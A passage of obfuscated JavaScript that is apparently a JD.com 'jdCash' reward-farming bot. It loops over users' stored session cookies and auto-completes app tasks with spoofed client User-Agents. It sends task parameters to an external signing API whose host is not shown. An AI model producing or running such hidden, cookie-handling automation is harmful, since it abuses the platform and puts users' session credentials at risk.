\x53\x20\x31\x33\x5F\x32\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x31\x33\x2E\x30\x2E\x33\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2F\x36\x30\x34\x2E\x31\x20\x45\x64\x67\x2F\x38\x37\x2E\x30\x2E\x34\x32\x38\x30\x2E\x38\x38","\x20\x67\x65\x74\x53\x69\x67\x6E\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x4A\x44\x34\x69\x50\x68\x6F\x6E\x65\x2F\x31\x36\x37\x37\x37\x34\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x37\x2E\x31\x3B\x20\x53\x63\x61\x6C\x65\x2F\x33\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x61\x70\x70\x2F\x70\x61\x67\x65\x73\x2F\x68\x64\x2D\x69\x6E\x74\x65\x72\x61\x63\x74\x69\x6F\x6E\x2F\x69\x6E\x64\x65\x78\x2F\x69\x6E\x64\x65\x78","\x4A\x44\x5F\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54","\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54","\x2E\x2F\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54\x53","\x4A\x44\x55\x41","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x39\x2E\x34\x2E\x34\x3B\x31\x34\x2E\x33\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x34\x67\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x34\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x7A\x68\x2D\x63\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x2F\x69\x6E\x66\x6F\x2F\x51\x75\x65\x72\x79\x4A\x44\x55\x73\x65\x72\x49\x6E\x66\x6F\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x2C\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\x2C\x20\x2A\x2F\x2A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x71\x73\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x6D\x79\x2F\x6A\x69\x6E\x67\x64\x6F\x75\x2F\x6D\x79\x2E\x73\x68\x74\x6D\x6C\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32","\x72\x65\x74\x63\x6F\x64\x65","\x62\x61\x73\x65","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\u4EAC\u4E1C\u670D\u52A1\u5668\u8FD4\u56DE\u7A7A\u6570\u636E","\x6F\x62\x6A\x65\x63\x74","\u4EAC\u4E1C\u670D\u52A1\u5668\u8BBF\u95EE\u6570\u636E\u4E3A\u7A7A\uFF0C\u8BF7\u68C0\u67E5\u81EA\u8EAB\u8BBE\u5907\u7F51\u7EDC\u60C5\u51B5","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let cookiesArr=[],cookie=__Oxe61ec[0x0],message,allMessage=__Oxe61ec[0x0];const JD_API_HOST=__Oxe61ec[0x1];if($[__Oxe61ec[0x2]]()){Object[__Oxe61ec[0x5]](jdCookieNode)[__Oxe61ec[0x4]]((_0x898ax6)=>{cookiesArr[__Oxe61ec[0x3]](jdCookieNode[_0x898ax6])});if(process[__Oxe61ec[0x7]][__Oxe61ec[0x6]]&& process[__Oxe61ec[0x7]][__Oxe61ec[0x6]]=== __Oxe61ec[0x8]){console[__Oxe61ec[0x9]]= ()=>{}}}else {cookiesArr= [$[__Oxe61ec[0xc]](__Oxe61ec[0xb]),$[__Oxe61ec[0xc]](__Oxe61ec[0xd]),...jsonParse($[__Oxe61ec[0xc]](__Oxe61ec[0x10])|| __Oxe61ec[0x11])[__Oxe61ec[0xf]]((_0x898ax6)=>{return _0x898ax6[__Oxe61ec[0xe]]})][__Oxe61ec[0xa]]((_0x898ax6)=>{return !!_0x898ax6})};!(async ()=>{if(!cookiesArr[0x0]){$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],__Oxe61ec[0x19],__Oxe61ec[0x1a],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe61ec[0x1a]});return};for(let _0x898ax8=0;_0x898ax8< cookiesArr[__Oxe61ec[0x1c]];_0x898ax8++){if(cookiesArr[_0x898ax8]){cookie= cookiesArr[_0x898ax8];$[__Oxe61ec[0x1d]]= decodeURIComponent(cookie[__Oxe61ec[0x1e]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxe61ec[0x1e]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxe61ec[0x1f]]= _0x898ax8+ 1;$[__Oxe61ec[0x20]]= true;$[__Oxe61ec[0x21]]= __Oxe61ec[0x0];message= __Oxe61ec[0x0]; await TotalBean();console[__Oxe61ec[0x9]](`${__Oxe61ec[0x22]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x23]}${$[__Oxe61ec[0x21]]|| $[__Oxe61ec[0x1d]]}${__Oxe61ec[0x24]}`);if(!$[__Oxe61ec[0x20]]){$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],`${__Oxe61ec[0x25]}`,`${__Oxe61ec[0x26]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x27]}${$[__Oxe61ec[0x21]]|| $[__Oxe61ec[0x1d]]}${__Oxe61ec[0x28]}`,{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe61ec[0x1a]});if($[__Oxe61ec[0x2]]()){ await notify[__Oxe61ec[0x2b]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x29]}${$[__Oxe61ec[0x1d]]}${__Oxe61ec[0x0]}`,`${__Oxe61ec[0x26]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x27]}${$[__Oxe61ec[0x1d]]}${__Oxe61ec[0x2a]}`)};continue}; await jdCash(); await $[__Oxe61ec[0x2d]](parseInt(Math[__Oxe61ec[0x2c]]()* 10000,10))}};if(allMessage){if($[__Oxe61ec[0x2]]()&& (process[__Oxe61ec[0x7]][__Oxe61ec[0x2e]]?process[__Oxe61ec[0x7]][__Oxe61ec[0x2e]]=== __Oxe61ec[0x8]:!!1)){ await notify[__Oxe61ec[0x2b]]($[__Oxe61ec[0x15]],allMessage)};$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],__Oxe61ec[0x0],allMessage)}})()[__Oxe61ec[0x18]]((_0x898ax7)=>{$[__Oxe61ec[0x9]](__Oxe61ec[0x0],`${__Oxe61ec[0x14]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x16]}${_0x898ax7}${__Oxe61ec[0x17]}`,__Oxe61ec[0x0])})[__Oxe61ec[0x13]](()=>{$[__Oxe61ec[0x12]]()});async function jdCash(){$[__Oxe61ec[0x2f]]= 0; await cash_homePage(); await $[__Oxe61ec[0x2d]](parseInt(Math[__Oxe61ec[0x2c]]()* 1000+ 1000,10));$[__Oxe61ec[0x30]]= 0; await cash_homePage(true); await $[__Oxe61ec[0x2d]](parseInt(Math[__Oxe61ec[0x2c]]()* 1000+ 1000,10))}function cash_mob_sign(){return new Promise((_0x898axb)=>{$[__Oxe61ec[0x3a]](taskUrl(__Oxe61ec[0x31],{"\x62\x72\x65\x61\x6B\x52\x65\x77\x61\x72\x64":1}),(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x33]}`)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x35]]=== 0){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x37]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x38]]}${__Oxe61ec[0x0]}`)}else {console[__Oxe61ec[0x9]](_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x38]])}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb()}})})}function cash_mob_home(){return new Promise((_0x898axb)=>{$[__Oxe61ec[0x3a]](taskUrl(__Oxe61ec[0x3b]),async (_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`); await $[__Oxe61ec[0x2d]](5000)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0&& _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]]){for(let _0x898ax10 of _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x3f]]){if(_0x898ax10[__Oxe61ec[0x40]]=== 4){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x46]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 2){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x49]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 31){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4a]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 16|| _0x898ax10[__Oxe61ec[0x40]]=== 3|| _0x898ax10[__Oxe61ec[0x40]]=== 5|| _0x898ax10[__Oxe61ec[0x40]]=== 17|| _0x898ax10[__Oxe61ec[0x40]]=== 21){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4b]]); await $[__Oxe61ec[0x2d]](5000)}}}}}}}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}async function cash_homePage(_0x898ax12= false){let _0x898ax13=__Oxe61ec[0x4c];let _0x898ax14={}; await $[__Oxe61ec[0x2d]](500);let _0x898ax15= await getSign(_0x898ax13,_0x898ax14,111);return new Promise((_0x898axb)=>{$[__Oxe61ec[0x58]](apptaskUrl(_0x898ax13,_0x898ax15),async (_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`); await $[__Oxe61ec[0x2d]](5000)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0&& _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]]){if(_0x898ax12){if(message){message+= `${__Oxe61ec[0x4d]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x4e]]}${__Oxe61ec[0x4f]}`;allMessage+= `${__Oxe61ec[0x26]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x0]}${$[__Oxe61ec[0x21]]}${__Oxe61ec[0x50]}${message}${__Oxe61ec[0x0]}${$[__Oxe61ec[0x1f]]!== cookiesArr[__Oxe61ec[0x1c]]?__Oxe61ec[0x51]:__Oxe61ec[0x0]}${__Oxe61ec[0x0]}`};console[__Oxe61ec[0x9]](`${__Oxe61ec[0x4d]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x4e]]}${__Oxe61ec[0x4f]}`);return};$[__Oxe61ec[0x2f]]= _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x4e]];console[__Oxe61ec[0x9]](`${__Oxe61ec[0x52]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x53]}${$[__Oxe61ec[0x1d]]}${__Oxe61ec[0x54]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x55]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x56]]}${__Oxe61ec[0x0]}`);let _0x898ax16={'\x69\x6E\x76\x69\x74\x65\x43\x6F\x64\x65':_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x56]],'\x73\x68\x61\x72\x65\x44\x61\x74\x65':_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x57]]};$[__Oxe61ec[0x57]]= _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x57]];for(let _0x898ax10 of _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x3f]]){if(_0x898ax10[__Oxe61ec[0x40]]=== 4){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x46]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 2){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x49]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 30){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4a]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 16|| _0x898ax10[__Oxe61ec[0x40]]=== 3|| _0x898ax10[__Oxe61ec[0x40]]=== 5|| _0x898ax10[__Oxe61ec[0x40]]=== 17|| _0x898ax10[__Oxe61ec[0x40]]=== 21){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4b]]); await $[__Oxe61ec[0x2d]](5000)}}}}}}}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}async function appdoTask(_0x898ax18,_0x898ax19){let _0x898ax13=__Oxe61ec[0x59];let _0x898ax14={"\x74\x79\x70\x65":_0x898ax18,"\x74\x61\x73\x6B\x49\x6E\x66\x6F":_0x898ax19}; await $[__Oxe61ec[0x2d]](500);let _0x898ax15= await getSign(_0x898ax13,_0x898ax14,_0x898ax18);return new Promise((_0x898axb)=>{$[__Oxe61ec[0x58]](apptaskUrl(_0x898ax13,_0x898ax15),(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x5a]}`)}else {console[__Oxe61ec[0x9]](JSON[__Oxe61ec[0x32]](_0x898axe))}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}function doTask(_0x898ax18,_0x898ax19){return new Promise((_0x898axb)=>{$[__Oxe61ec[0x3a]](taskUrl(__Oxe61ec[0x59],{"\x74\x79\x70\x65":_0x898ax18,"\x74\x61\x73\x6B\x49\x6E\x66\x6F":_0x898ax19}),(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x5a]}`)}else {console[__Oxe61ec[0x9]](_0x898axe)}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}function getSign(_0x898ax13,_0x898ax14,_0x898ax18){return new Promise(async (_0x898axb)=>{let _0x898ax1c={url:`${__Oxe61ec[0x5b]}`,body:`${__Oxe61ec[0x5c]}${_0x898ax13}${__Oxe61ec[0x5d]}${JSON[__Oxe61ec[0x32]](_0x898ax14)}${__Oxe61ec[0x5e]}${_0x898ax18}${__Oxe61ec[0x0]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe61ec[0x5f]},timeout:30* 1000};$[__Oxe61ec[0x58]](_0x898ax1c,(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](JSON[__Oxe61ec[0x32]](_0x898axc));console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x60]}`)}else {_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]== 0){_0x898axe= _0x898axe[__Oxe61ec[0x36]]}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}function apptaskUrl(_0x898ax13= __Oxe61ec[0x0],_0x898ax14= __Oxe61ec[0x0]){return {url:`${__Oxe61ec[0x0]}${JD_API_HOST}${__Oxe61ec[0x61]}${_0x898ax13}${__Oxe61ec[0x0]}`,body:_0x898ax14,headers:{'\x43\x6F\x6F\x6B\x69\x65':cookie,'\x48\x6F\x73\x74':__Oxe61ec[0x62],'\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E':__Oxe61ec[0x63],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe61ec[0x64],'\x52\x65\x66\x65\x72\x65\x72':__Oxe61ec[0x0],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':__Oxe61ec[0x65],'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe61ec[0x66],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe61ec[0x67]}}}function taskUrl(_0x898ax13,_0x898ax14= {}){return {url:`${__Oxe61ec[0x0]}${JD_API_HOST}${__Oxe61ec[0x61]}${_0x898ax13}${__Oxe61ec[0x5d]}${encodeURIComponent(JSON[__Oxe61ec[0x32]](_0x898ax14))}${__Oxe61ec[0x0]}`,headers:{'\x43\x6F\x6F\x6B\x69\x65':cookie,'\x48\x6F\x73\x74':__Oxe61ec[0x62],'\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E':__Oxe61ec[0x63],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe61ec[0x68],'\x52\x65\x66\x65\x72\x65\x72':__Oxe61ec[0x69],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxe61ec[0x2]]()?(process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]?process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]:(require(__Oxe61ec[0x6c])[__Oxe61ec[0x6b]])):($[__Oxe61ec[0xc]](__Oxe61ec[0x6d])?$[__Oxe61ec[0xc]](__Oxe61ec[0x6d]):__Oxe61ec[0x6e]),'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe61ec[0x6f],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe61ec[0x67]}}}function TotalBean(){return new Promise(async (_0x898axb)=>{const _0x898ax1c={"\x75\x72\x6C":`${__Oxe61ec[0x70]}`,"\x68\x65\x61\x64\x65\x72\x73":{"\x41\x63\x63\x65\x70\x74":__Oxe61ec[0x71],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe61ec[0x64],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe61ec[0x67],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe61ec[0x6f],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe61ec[0x63],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x52\x65\x66\x65\x72\x65\x72":__Oxe61ec[0x72],"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe61ec[0x2]]()?(process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]?process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]:(require(__Oxe61ec[0x6c])[__Oxe61ec[0x6b]])):($[__Oxe61ec[0xc]](__Oxe61ec[0x6d])?$[__Oxe61ec[0xc]](__Oxe61ec[0x6d]):__Oxe61ec[0x6e])}};$[__Oxe61ec[0x58]](_0x898ax1c,(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`)}else {if(_0x898axe){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x73]]=== 13){$[__Oxe61ec[0x20]]= false;return};if(_0x898axe[__Oxe61ec[0x73]]=== 0){$[__Oxe61ec[0x21]]= (_0x898axe[__Oxe61ec[0x74]]&& _0x898axe[__Oxe61ec[0x74]][__Oxe61ec[0x75]])|| $[__Oxe61ec[0x1d]]}else {$[__Oxe61ec[0x21]]= $[__Oxe61ec[0x1d]]}}else {console[__Oxe61ec[0x9]](`${__Oxe61ec[0x76]}`)}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb()}})})}function safeGet(_0x898axe){try{if( typeof JSON[__Oxe61ec[0x34]](_0x898axe)== __Oxe61ec[0x77]){return true}}catch(e){console[__Oxe61ec[0x9]](e);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x78]}`);return false}}function jsonParse(_0x898ax22){if( typeof _0x898ax22== __Oxe61ec[0x79]){try{return 